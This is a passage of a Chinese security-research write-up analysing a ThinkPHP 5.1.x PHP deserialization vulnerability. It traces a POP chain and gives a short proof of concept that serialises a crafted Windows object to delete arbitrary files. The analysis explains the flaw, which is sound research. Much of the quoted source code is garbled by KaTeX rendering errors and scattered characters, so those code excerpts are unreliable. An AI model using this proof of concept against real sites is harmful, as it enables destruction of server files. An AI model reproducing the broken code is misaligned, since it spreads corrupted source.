作者:Ethan@知道创宇404实验室
时间:2019年9月21日
原文链接:https://paper.seebug.org/1040/
前言
今年7月份,ThinkPHP 5.1.x爆出来了一个反序列化漏洞。之前没有分析过关于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化问题!
环境搭建
Thinkphp 5.1.35
php 7.0.12
漏洞挖掘思路
在刚接触反序列化漏洞的时候,更多遇到的是在魔术方法中,因此自动调用魔术方法而触发漏洞。但如果漏洞触发代码不在魔法函数中,而在一个类的普通方法中。并且魔法函数通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
漏洞分析
首先漏洞的起点为/thinkphp/library/think/process/pipes/Windows.php的__destruct()
__destruct()里面调用了两个函数,我们跟进removeFiles()函数。
class Windows extends Pipes
{
private KaTeX parse error: Expected '}', got 'EOF' at end of input: … foreach (this->files as KaTeX parse error: Expected '}', got 'EOF' at end of input: …f (file_exists(filename)) {
@unlink($filename);
}
}
KaTeX parse error: Expected 'EOF', got '}' at position 23: …iles = []; }̲ .... } 这里使…this->files,而且这里的$files是可控的。所以存在一个任意文件删除的漏洞。
POC可以这样构造:
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=[‘需要删除文件的路径’];
}
}
echo base64_encode(serialize(new Windows()));
这里只需要一个反序列化漏洞的触发点,便可以实现任意文件删除。
在removeFiles()中使用了file_exists对 f i l e n a m e 进 行 了 处 理 。 我 们 进 入 f i l e e x i s t s 函 数 可 以 知 道 , filename进行了处理。我们进入file_exists函数可以知道, filename进行了处理。我们进入fileexists函数可以知道,filename会被作为字符串处理。
而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。我们全局搜索__toString方法。
我们跟进\thinkphp\library\think\model\concern\Conversion.php的Conversion类的第224行,这里调用了一个toJson()方法。
.....
public function __toString()
{
return $this->toJson();
}
.....
跟进toJson()方法
....
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
....
继续跟进toArray()方法
public function toArray()
{
$item = [];
$visible = [];
h i d d e n = [ ] ; . . . . . / / 追 加 属 性 ( 必 须 定 义 获 取 器 ) i f ( ! e m p t y ( hidden = []; ..... // 追加属性(必须定义获取器) if (!empty( hidden=[];.....//追加属性(必须定义获取器)if(!empt